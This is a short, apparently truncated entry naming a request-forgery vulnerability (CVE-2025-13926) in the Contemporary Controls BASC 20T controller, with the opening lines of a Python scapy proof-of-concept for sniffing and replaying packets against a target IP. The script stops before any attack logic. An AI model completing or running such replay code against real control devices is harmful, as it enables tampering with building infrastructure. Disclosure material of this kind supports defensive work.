CVE-2025-13926 Contemporary Controls BASC 20T 请求伪造漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2025-13926 # This script demonstrates the concept of sniffing and replaying packets. # Requires scapy: pip install scapy from scapy.all import * # Configuration TARGET_IP = "192.168.1.100" # IP of the BASC 20T device INTERFACE = "eth0" def packet_callback(packet): """ Callback to process sniffed packets.
